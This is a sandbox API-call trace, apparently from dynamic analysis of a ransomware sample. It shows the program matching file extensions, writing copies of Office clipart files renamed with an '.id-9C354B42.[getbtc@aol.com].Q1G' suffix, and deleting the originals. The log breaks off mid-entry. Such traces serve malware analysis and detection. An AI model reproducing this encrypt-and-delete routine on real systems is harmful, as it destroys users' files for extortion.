[0256.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.580] lstrlenW (lpString=".rar") returned 4 [0256.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.580] lstrlenW (lpString=".bz2") returned 4 [0256.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.581] lstrlenW (lpString=".7z") returned 3 [0256.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.581] lstrlenW (lpString=".dbf") returned 4 [0256.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.581] lstrlenW (lpString=".1cd") returned 4 [0256.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.581] lstrlenW (lpString=".jpg") returned 4 [0256.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.581] lstrlenW (lpString=".doc") returned 4 [0256.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.581] lstrlenW (lpString=".docx") returned 5 [0256.581] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.581] lstrlenW (lpString=".pdf") returned 4 [0256.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.581] lstrlenW (lpString=".xls") returned 4 [0256.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.581] lstrlenW (lpString=".xlsx") returned 5 [0256.581] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.581] lstrlenW (lpString=".ppt") returned 4 [0256.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.581] lstrlenW (lpString=".zip") returned 4 [0256.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.581] lstrlenW (lpString=".rar") returned 4 [0256.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.581] lstrlenW (lpString=".bz2") returned 4 [0256.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.581] lstrlenW (lpString=".7z") returned 3 [0256.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.582] lstrlenW (lpString=".dbf") returned 4 [0256.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.582] lstrlenW (lpString=".1cd") returned 4 [0256.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0256.582] lstrlenW (lpString=".jpg") returned 4 [0256.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.582] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.582] lstrlenW (lpString="J0105368.WMF") returned 12 [0256.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.589] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=12380) returned 1 [0256.589] CloseHandle (hObject=0x3c8) returned 1 [0256.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 0x20 [0256.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0256.596] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.596] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0256.600] GetLastError () returned 0x0 [0256.600] ReadFile (in: hFile=0x3e0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x305c, lpOverlapped=0x0) returned 1 [0256.629] WriteFile (in: hFile=0x3f0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3060, lpOverlapped=0x0) returned 1 [0256.630] ReadFile (in: hFile=0x3e0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.630] WriteFile (in: hFile=0x3f0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.630] SetEndOfFile (hFile=0x3f0) returned 1 [0256.630] CloseHandle (hObject=0x3f0) returned 1 [0256.630] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.630] SetEndOfFile (hFile=0x3e0) returned 1 [0256.632] CloseHandle (hObject=0x3e0) returned 1 [0256.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0256.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.633] lstrlenW (lpString=".doc") returned 4 [0256.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.633] lstrlenW (lpString=".docx") returned 5 [0256.633] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.633] lstrlenW (lpString=".pdf") returned 4 [0256.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.634] lstrlenW (lpString=".xls") returned 4 [0256.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.634] lstrlenW (lpString=".xlsx") returned 5 [0256.634] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.634] lstrlenW (lpString=".ppt") returned 4 [0256.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.634] lstrlenW (lpString=".zip") returned 4 [0256.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.634] lstrlenW (lpString=".rar") returned 4 [0256.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.634] lstrlenW (lpString=".bz2") returned 4 [0256.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.634] lstrlenW (lpString=".7z") returned 3 [0256.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.634] lstrlenW (lpString=".dbf") returned 4 [0256.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.634] lstrlenW (lpString=".1cd") returned 4 [0256.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.634] lstrlenW (lpString=".jpg") returned 4 [0256.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.634] lstrlenW (lpString=".doc") returned 4 [0256.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.634] lstrlenW (lpString=".docx") returned 5 [0256.634] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.634] lstrlenW (lpString=".pdf") returned 4 [0256.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.634] lstrlenW (lpString=".xls") returned 4 [0256.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.634] lstrlenW (lpString=".xlsx") returned 5 [0256.634] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.635] lstrlenW (lpString=".ppt") returned 4 [0256.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.635] lstrlenW (lpString=".zip") returned 4 [0256.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.635] lstrlenW (lpString=".rar") returned 4 [0256.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString=".bz2") returned 4 [0256.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString=".7z") returned 3 [0256.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.635] lstrlenW (lpString=".dbf") returned 4 [0256.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.635] lstrlenW (lpString=".1cd") returned 4 [0256.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0256.635] lstrlenW (lpString=".jpg") returned 4 [0256.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.635] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.635] lstrlenW (lpString="J0105384.WMF") returned 12 [0256.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0256.636] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5880) returned 1 [0256.636] CloseHandle (hObject=0x3e0) returned 1 [0256.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 0x20 [0256.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0256.636] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.636] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0256.637] GetLastError () returned 0x0 [0256.637] ReadFile (in: hFile=0x3e0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x16f8, lpOverlapped=0x0) returned 1 [0256.654] WriteFile (in: hFile=0x3f0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0256.655] ReadFile (in: hFile=0x3e0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.655] WriteFile (in: hFile=0x3f0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.655] SetEndOfFile (hFile=0x3f0) returned 1 [0256.655] CloseHandle (hObject=0x3f0) returned 1 [0256.655] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.656] SetEndOfFile (hFile=0x3e0) returned 1 [0256.658] CloseHandle (hObject=0x3e0) returned 1 [0256.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0256.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.659] lstrlenW (lpString=".doc") returned 4 [0256.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.659] lstrlenW (lpString=".docx") returned 5 [0256.659] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0256.659] lstrlenW (lpString=".pdf") returned 4 [0256.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.659] lstrlenW (lpString=".xls") returned 4 [0256.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.659] lstrlenW (lpString=".xlsx") returned 5 [0256.659] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0256.659] lstrlenW (lpString=".ppt") returned 4 [0256.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.659] lstrlenW (lpString=".zip") returned 4 [0256.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.659] lstrlenW (lpString=".rar") returned 4 [0256.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString=".bz2") returned 4 [0256.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString=".7z") returned 3 [0256.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.660] lstrlenW (lpString=".dbf") returned 4 [0256.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.660] lstrlenW (lpString=".1cd") returned 4 [0256.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.660] lstrlenW (lpString=".jpg") returned 4 [0256.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.660] lstrlenW (lpString=".doc") returned 4 [0256.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString=".docx") returned 5 [0256.660] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0256.660] lstrlenW (lpString=".pdf") returned 4 [0256.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString=".xls") returned 4 [0256.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.660] lstrlenW (lpString=".xlsx") returned 5 [0256.660] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0256.660] lstrlenW (lpString=".ppt") returned 4 [0256.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.660] lstrlenW (lpString=".zip") returned 4 [0256.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.660] lstrlenW (lpString=".rar") returned 4 [0256.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString=".bz2") returned 4 [0256.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.660] lstrlenW (lpString=".7z") returned 3 [0256.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.661] lstrlenW (lpString=".dbf") returned 4 [0256.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.661] lstrlenW (lpString=".1cd") returned 4 [0256.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0256.661] lstrlenW (lpString=".jpg") returned 4 [0256.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.661] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.661] lstrlenW (lpString="J0105386.WMF") returned 12 [0256.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0256.661] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5980) returned 1 [0256.661] CloseHandle (hObject=0x3e0) returned 1 [0256.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 0x20 [0256.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0256.662] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.662] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0256.663] GetLastError () returned 0x0 [0256.663] ReadFile (in: hFile=0x3e0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x175c, lpOverlapped=0x0) returned 1 [0256.924] WriteFile (in: hFile=0x3f0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0257.021] ReadFile (in: hFile=0x3e0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.021] WriteFile (in: hFile=0x3f0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.021] SetEndOfFile (hFile=0x3f0) returned 1 [0257.026] CloseHandle (hObject=0x3f0) returned 1 [0257.026] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.026] SetEndOfFile (hFile=0x3e0) returned 1 [0257.030] CloseHandle (hObject=0x3e0) returned 1 [0257.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0257.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.094] lstrlenW (lpString=".doc") returned 4 [0257.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.094] lstrlenW (lpString=".docx") returned 5 [0257.094] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.094] lstrlenW (lpString=".pdf") returned 4 [0257.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.094] lstrlenW (lpString=".xls") returned 4 [0257.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.094] lstrlenW (lpString=".xlsx") returned 5 [0257.094] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.094] lstrlenW (lpString=".ppt") returned 4 [0257.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.095] lstrlenW (lpString=".zip") returned 4 [0257.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.095] lstrlenW (lpString=".rar") returned 4 [0257.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.095] lstrlenW (lpString=".bz2") returned 4 [0257.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.095] lstrlenW (lpString=".7z") returned 3 [0257.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.095] lstrlenW (lpString=".dbf") returned 4 [0257.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.095] lstrlenW (lpString="C:\\Program Files\\Microsoft 